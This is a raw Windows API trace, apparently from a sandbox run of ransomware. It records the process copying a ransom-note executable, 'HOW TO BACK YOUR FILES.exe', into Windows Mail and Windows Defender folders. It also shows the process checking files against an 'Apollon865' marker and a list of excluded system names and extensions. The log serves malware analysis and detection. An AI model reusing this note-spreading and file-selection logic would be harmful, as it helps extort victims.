	[0052.467] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Mail\\en-US") returned 41
	[0052.467] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Mail\\en-US" | out: lpString1="C:\\Program Files (x86)\\Windows Mail\\en-US") returned="C:\\Program Files (x86)\\Windows Mail\\en-US"
	[0052.467] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.467] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Mail\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows mail\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.471] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.471] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x37592410, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37592410, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.471] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.471] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.471] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.471] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x37592410, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37592410, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.471] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.471] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.471] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.471] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.471] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37592410, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x37592410, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0052.471] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0052.471] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe506d6c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe506d6c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7e800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msoeres.dll.mui", cAlternateFileName="")) returned 1
	[0052.471] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.471] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="Apollon865.txt.exe") returned 1
	[0052.471] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2=".") returned 1
	[0052.471] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="..") returned 1
	[0052.471] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="windows") returned -1
	[0052.471] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="bootmgr") returned 1
	[0052.472] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="temp") returned -1
	[0052.472] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="pagefile.sys") returned -1
	[0052.472] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="boot") returned 1
	[0052.472] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="ids.txt") returned 1
	[0052.472] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="ntuser.dat") returned -1
	[0052.472] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="perflogs") returned -1
	[0052.472] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="MSBuild") returned 1
	[0052.472] lstrlenW (lpString="msoeres.dll.mui") returned 15
	[0052.472] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Mail\\en-US\\*") returned 43
	[0052.472] lstrcpyW (in: lpString1=0x2d3e5a4, lpString2="msoeres.dll.mui" | out: lpString1="msoeres.dll.mui") returned="msoeres.dll.mui"
	[0052.472] lstrlenW (lpString="msoeres.dll.mui") returned 15
	[0052.472] lstrlenW (lpString="Apollon865") returned 10
	[0052.472] lstrcmpiW (lpString1="es.dll.mui", lpString2="Apollon865") returned 1
	[0052.472] lstrlenW (lpString=".dll") returned 4
	[0052.472] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2=".dll") returned 1
	[0052.472] lstrlenW (lpString=".lnk") returned 4
	[0052.472] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2=".lnk") returned 1
	[0052.472] lstrlenW (lpString=".ini") returned 4
	[0052.472] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2=".ini") returned 1
	[0052.472] lstrlenW (lpString=".sys") returned 4
	[0052.472] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2=".sys") returned 1
	[0052.472] lstrlenW (lpString="msoeres.dll.mui") returned 15
	[0052.472] lstrcpyW (in: lpString1=0x2d3e5a4, lpString2="WinMail.exe.mui" | out: lpString1="WinMail.exe.mui") returned="WinMail.exe.mui"
	[0052.472] lstrlenW (lpString="WinMail.exe.mui") returned 15
	[0052.472] lstrlenW (lpString="Apollon865") returned 10
	[0052.472] lstrcmpiW (lpString1="il.exe.mui", lpString2="Apollon865") returned 1
	[0052.472] lstrlenW (lpString=".dll") returned 4
	[0052.472] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2=".dll") returned 1
	[0052.472] lstrlenW (lpString=".lnk") returned 4
	[0052.472] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2=".lnk") returned 1
	[0052.472] lstrlenW (lpString=".ini") returned 4
	[0052.472] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2=".ini") returned 1
	[0052.472] lstrlenW (lpString=".sys") returned 4
	[0052.473] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2=".sys") returned 1
	[0052.473] lstrlenW (lpString="WinMail.exe.mui") returned 15
	[0052.473] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Defender", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Defender") returned="C:\\Program Files (x86)\\Windows Defender"
	[0052.473] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bcac0 | out: hHeap=0x580000) returned 1
	[0052.473] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0052.473] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Defender") returned 39
	[0052.473] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Defender" | out: lpString1="C:\\Program Files (x86)\\Windows Defender") returned="C:\\Program Files (x86)\\Windows Defender"
	[0052.473] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.473] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Defender\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows defender\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.478] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.478] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Defender\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x37592410, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37592410, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.478] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.478] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.478] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.478] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x37592410, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37592410, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.478] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.479] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.479] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.479] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.479] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22bdbd7c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0052.479] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.479] lstrcmpiW (lpString1="en-US", lpString2="Apollon865.txt.exe") returned 1
	[0052.479] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1
	[0052.479] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1
	[0052.479] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1
	[0052.479] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1
	[0052.479] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1
	[0052.479] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1
	[0052.479] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1
	[0052.479] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1
	[0052.479] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1
	[0052.479] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1
	[0052.479] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1
	[0052.479] lstrlenW (lpString="en-US") returned 5
	[0052.479] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Defender\\*") returned 41
	[0052.479] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0052.479] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7be8
	[0052.479] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5c) returned 0x5c5528
	[0052.479] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bf0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bf0) returned 0x5b7ad0
	[0052.479] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37592410, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x37592410, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0052.479] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0052.479] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcc1c145, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xdcc1c145, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x9ab7c5c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MpAsDesc.dll", cAlternateFileName="")) returned 1
	[0052.479] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.479] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="Apollon865.txt.exe") returned 1
	[0052.479] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2=".") returned 1
	[0052.479] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="..") returned 1
	[0052.479] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="windows") returned -1
	[0052.479] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="bootmgr") returned 1
	[0052.480] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="temp") returned -1
	[0052.480] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="pagefile.sys") returned -1
	[0052.480] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="boot") returned 1
	[0052.480] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="ids.txt") returned 1
	[0052.480] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="ntuser.dat") returned -1
	[0052.480] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="perflogs") returned -1
	[0052.480] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="MSBuild") returned -1
	[0052.480] lstrlenW (lpString="MpAsDesc.dll") returned 12
	[0052.480] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Defender\\en-US") returned 45
	[0052.480] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="MpAsDesc.dll" | out: lpString1="MpAsDesc.dll") returned="MpAsDesc.dll"
	[0052.480] lstrlenW (lpString="MpAsDesc.dll") returned 12
	[0052.480] lstrlenW (lpString="Apollon865") returned 10
	[0052.480] lstrcmpiW (lpString1="AsDesc.dll", lpString2="Apollon865") returned 1
	[0052.480] lstrlenW (lpString=".dll") returned 4
	[0052.480] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2=".dll") returned 1
	[0052.480] lstrlenW (lpString=".lnk") returned 4
	[0052.480] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2=".lnk") returned 1
	[0052.480] lstrlenW (lpString=".ini") returned 4
	[0052.480] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2=".ini") returned 1
	[0052.480] lstrlenW (lpString=".sys") returned 4
	[0052.480] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2=".sys") returned 1
	[0052.480] lstrlenW (lpString="MpAsDesc.dll") returned 12
	[0052.480] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="MpClient.dll" | out: lpString1="MpClient.dll") returned="MpClient.dll"
	[0052.480] lstrlenW (lpString="MpClient.dll") returned 12
	[0052.480] lstrlenW (lpString="Apollon865") returned 10
	[0052.480] lstrcmpiW (lpString1="Client.dll", lpString2="Apollon865") returned 1
	[0052.480] lstrlenW (lpString=".dll") returned 4
	[0052.480] lstrcmpiW (lpString1="MpClient.dll", lpString2=".dll") returned 1
	[0052.480] lstrlenW (lpString=".lnk") returned 4
	[0052.480] lstrcmpiW (lpString1="MpClient.dll", lpString2=".lnk") returned 1
	[0052.480] lstrlenW (lpString=".ini") returned 4
	[0052.480] lstrcmpiW (lpString1="MpClient.dll", lpString2=".ini") returned 1
	[0052.480] lstrlenW (lpString=".sys") returned 4
	[0052.481] lstrcmpiW (lpString1="MpClient.dll", lpString2=".sys") returned 1
	[0052.481] lstrlenW (lpString="MpClient.dll") returned 12
	[0052.481] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="MpOAV.dll" | out: lpString1="MpOAV.dll") returned="MpOAV.dll"
	[0052.481] lstrlenW (lpString="MpOAV.dll") returned 9
	[0052.481] lstrlenW (lpString="Apollon865") returned 10
	[0052.481] lstrlenW (lpString=".dll") returned 4
	[0052.481] lstrcmpiW (lpString1="MpOAV.dll", lpString2=".dll") returned 1
	[0052.481] lstrlenW (lpString=".lnk") returned 4
	[0052.481] lstrcmpiW (lpString1="MpOAV.dll", lpString2=".lnk") returned 1
	[0052.481] lstrlenW (lpString=".ini") returned 4
	[0052.481] lstrcmpiW (lpString1="MpOAV.dll", lpString2=".ini") returned 1
	[0052.481] lstrlenW (lpString=".sys") returned 4
	[0052.481] lstrcmpiW (lpString1="MpOAV.dll", lpString2=".sys") returned 1
	[0052.481] lstrlenW (lpString="MpOAV.dll") returned 9
	[0052.481] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="MsMpLics.dll" | out: lpString1="MsMpLics.dll") returned="MsMpLics.dll"
	[0052.481] lstrlenW (lpString="MsMpLics.dll") returned 12
	[0052.481] lstrlenW (lpString="Apollon865") returned 10
	[0052.481] lstrcmpiW (lpString1="MpLics.dll", lpString2="Apollon865") returned 1
	[0052.481] lstrlenW (lpString=".dll") returned 4
	[0052.481] lstrcmpiW (lpString1="MsMpLics.dll", lpString2=".dll") returned 1
	[0052.481] lstrlenW (lpString=".lnk") returned 4
	[0052.481] lstrcmpiW (lpString1="MsMpLics.dll", lpString2=".lnk") returned 1
	[0052.481] lstrlenW (lpString=".ini") returned 4
	[0052.481] lstrcmpiW (lpString1="MsMpLics.dll", lpString2=".ini") returned 1
	[0052.481] lstrlenW (lpString=".sys") returned 4
	[0052.481] lstrcmpiW (lpString1="MsMpLics.dll", lpString2=".sys") returned 1
	[0052.481] lstrlenW (lpString="MsMpLics.dll") returned 12
	[0052.481] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Defender\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Defender\\en-US") returned="C:\\Program Files (x86)\\Windows Defender\\en-US"
	[0052.481] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5528 | out: hHeap=0x580000) returned 1
	[0052.481] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0052.482] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Defender\\en-US") returned 45
	[0052.482] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Defender\\en-US" | out: lpString1="C:\\Program Files (x86)\\Windows Defender\\en-US") returned="C:\\Program Files (x86)\\Windows Defender\\en-US"
	[0052.482] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.482] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Defender\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows defender\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.485] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.485] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Defender\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x375b8570, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x375b8570, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.485] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.485] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.486] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.486] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x375b8570, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x375b8570, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.486] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.486] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.486] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.486] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.486] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x375b8570, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x375b8570, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0052.486] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0052.486] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MpAsDesc.dll.mui", cAlternateFileName="")) returned 1
	[0052.486] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.486] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="Apollon865.txt.exe") returned 1
	[0052.486] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2=".") returned 1
	[0052.486] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="..") returned 1
	[0052.486] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="windows") returned -1
	[0052.486] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="bootmgr") returned 1
	[0052.486] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="temp") returned -1
	[0052.486] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="pagefile.sys") returned -1
	[0052.486] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="boot") returned 1
	[0052.486] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="ids.txt") returned 1
	[0052.486] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="ntuser.dat") returned -1
	[0052.486] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="perflogs") returned -1
	[0052.486] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="MSBuild") returned -1
	[0052.486] lstrlenW (lpString="MpAsDesc.dll.mui") returned 16
	[0052.486] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Defender\\en-US\\*") returned 47
	[0052.486] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="MpAsDesc.dll.mui" | out: lpString1="MpAsDesc.dll.mui") returned="MpAsDesc.dll.mui"
	[0052.486] lstrlenW (lpString="MpAsDesc.dll.mui") returned 16
	[0052.486] lstrlenW (lpString="Apollon865") returned 10
	[0052.486] lstrcmpiW (lpString1="sc.dll.mui", lpString2="Apollon865") returned 1
	[0052.486] lstrlenW (lpString=".dll") returned 4
	[0052.486] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2=".dll") returned 1
	[0052.486] lstrlenW (lpString=".lnk") returned 4
	[0052.486] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2=".lnk") returned 1
	[0052.486] lstrlenW (lpString=".ini") returned 4
	[0052.487] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2=".ini") returned 1
	[0052.487] lstrlenW (lpString=".sys") returned 4
	[0052.487] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2=".sys") returned 1
	[0052.487] lstrlenW (lpString="MpAsDesc.dll.mui") returned 16
	[0052.487] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="MpEvMsg.dll.mui" | out: lpString1="MpEvMsg.dll.mui") returned="MpEvMsg.dll.mui"
	[0052.487] lstrlenW (lpString="MpEvMsg.dll.mui") returned 15
	[0052.487] lstrlenW (lpString="Apollon865") returned 10
	[0052.487] lstrcmpiW (lpString1="sg.dll.mui", lpString2="Apollon865") returned 1
	[0052.487] lstrlenW (lpString=".dll") returned 4
	[0052.487] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2=".dll") returned 1
	[0052.487] lstrlenW (lpString=".lnk") returned 4
	[0052.487] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2=".lnk") returned 1
	[0052.487] lstrlenW (lpString=".ini") returned 4
	[0052.487] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2=".ini") returned 1
	[0052.487] lstrlenW (lpString=".sys") returned 4
	[0052.487] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2=".sys") returned 1
	[0052.487] lstrlenW (lpString="MpEvMsg.dll.mui") returned 15
	[0052.487] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Uninstall Information", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Uninstall Information") returned="C:\\Program Files (x86)\\Uninstall Information"
	[0052.487] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5458 | out: hHeap=0x580000) returned 1
	[0052.487] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0052.487] lstrlenW (lpString="C:\\Program Files (x86)\\Uninstall Information") returned 44
	[0052.487] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Uninstall Information" | out: lpString1="C:\\Program Files (x86)\\Uninstall Information") returned="C:\\Program Files (x86)\\Uninstall Information"
